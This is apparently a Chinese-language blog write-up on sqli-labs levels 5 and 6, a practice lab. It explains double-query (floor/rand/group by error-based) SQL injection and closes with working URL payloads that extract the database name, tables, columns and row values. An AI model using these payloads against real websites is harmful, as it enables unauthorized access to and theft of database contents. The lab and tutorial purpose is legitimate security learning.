目录
- 双查询
- 基本函数
- 双查询注入原理
- sqli-labs5-6关做法
0.前言
最近在做sqli-labs的靶场,做到5、6关的时候看起来像是盲注,尝试了一下extractvalue报错注入可以直接报错就过去了,但是回过头看题目时发现题目是双查询注入,并不是报错注入,也就是说作者的本意是让我们使用双查询注入来做这两关,这就触及到我的知识盲区了(之前并没有做过双查询注入,甚至都没听过),马上网上搜一下,找了一些表哥的教程,这里记录一下。
1.双查询
双查询注入就是select语句中再嵌套一个select语句,再查询时会先执行嵌套在里面的select语句,然后在执行外面的select语句。如下图
2.基本函数
使用双查询注入的时候要使用一些基本函数:count()、rand()、floor()、concat()以及group by语句。
①count()
count()函数的作用是统计数量,如下图
②rand()
默认产生一个0-1随机数,如果没有参数,则每次产生的随机数都不同;如果有参数,则每次产生的随机数相同,不同的参数会有不同的结果。
没有参数:
参数是1:
参数是14:
③floor()
向下取整,返回小于或等于参数的最大整数。
④concat()
拼接字符串。
⑤group by
根据指定的参数对查询结果进行分类。
3.双查询注入原理
使用group by结合rand函数以及像count(*)这样的聚合函数,在SQL查询时会出现错误,这种错误时随机产生的,这就产生了双重查询注入。比如:
select count(*),concat(0x7e,(select database()),floor(rand(14)*2),0x7e) as a from information_schema.tables group by a;
这里会出现报错,在报错的同时也会将查询结果显示出来,这样我们就得到了想要的信息。上面的as a
是给concat(0x7e,(select database()),floor(rand(14)*2),0x7e)
起了一个别名a。
rand()函数里面的参数最好用14,具体原因看这篇文章(https://blog.csdn.net/wn314/article/details/89297560)。rand(14)的取值范围是[0,1),rand(14)2的取值范围是[0,2),那么floor(rand(14)2)的取值就是0或1。
4.sqli-labs 5-6关做法
第五关:
①查数据库名:?id=1' union select 1,count(*),concat(0x7e,(select database()),floor(rand(14)*2),0x7e) as a from information_schema.tables group by a--+
②查表名:?id=1' union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(14)*2),0x7e) as a from information_schema.tables group by a--+
③查字段名:?id=1' union select 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),floor(rand(14)*2),0x7e) as a from information_schema.tables group by a--+
④查值:?id=1' union select 1,count(*),concat(0x7e,(select id from emails limit 0,1),floor(rand(14)*2),0x7e) as a from information_schema.tables group by a--+
第六关
第六关和第五关的基本思路一样,把第五关中的单引号换成双引号就行了。
参考链接:
1.Mysql中Double Injection原理浅析
2.Double SQL Injection(双查询注入)
3.详细讲解双查询注入